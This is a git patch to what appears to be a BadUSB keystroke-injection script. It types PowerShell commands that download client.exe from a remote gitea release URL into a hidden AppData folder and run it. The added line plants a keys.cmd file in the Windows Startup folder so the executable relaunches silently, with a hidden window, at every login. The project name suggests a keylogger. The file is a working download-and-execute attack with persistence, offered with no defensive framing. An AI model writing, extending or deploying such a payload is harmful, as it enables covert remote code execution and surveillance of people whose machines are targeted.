From f953f5907209e8663510395b1580f9d84762f29a Mon Sep 17 00:00:00 2001 From: Daniel Svitan Date: Wed, 14 May 2025 10:46:38 +0200 Subject: [PATCH] :wrench: Adds autostart script --- keys.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/keys.txt b/keys.txt index d9e0094..062f068 100644 --- a/keys.txt +++ b/keys.txt @@ -12,6 +12,8 @@ STRING $OpDir = "$(pwd)\AppData\Local\keys"; REM download client.exe file STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile "$OpDir\keys.exe"; +STRING Add-Content -Path "$(pwd)\AppData\Roaming\Windows\Start Menu\Programs\Startup\keys.cmd" -Value "powershell.exe -WindowStyle hidden { Start-Process -FilePath \"$OpDir\keys.exe\" -NoNewWindow }"; + REM client.exe file (closes automatically) STRING Start-Process -FilePath "$OpDir\keys.exe" -NoNewWindow } ENTER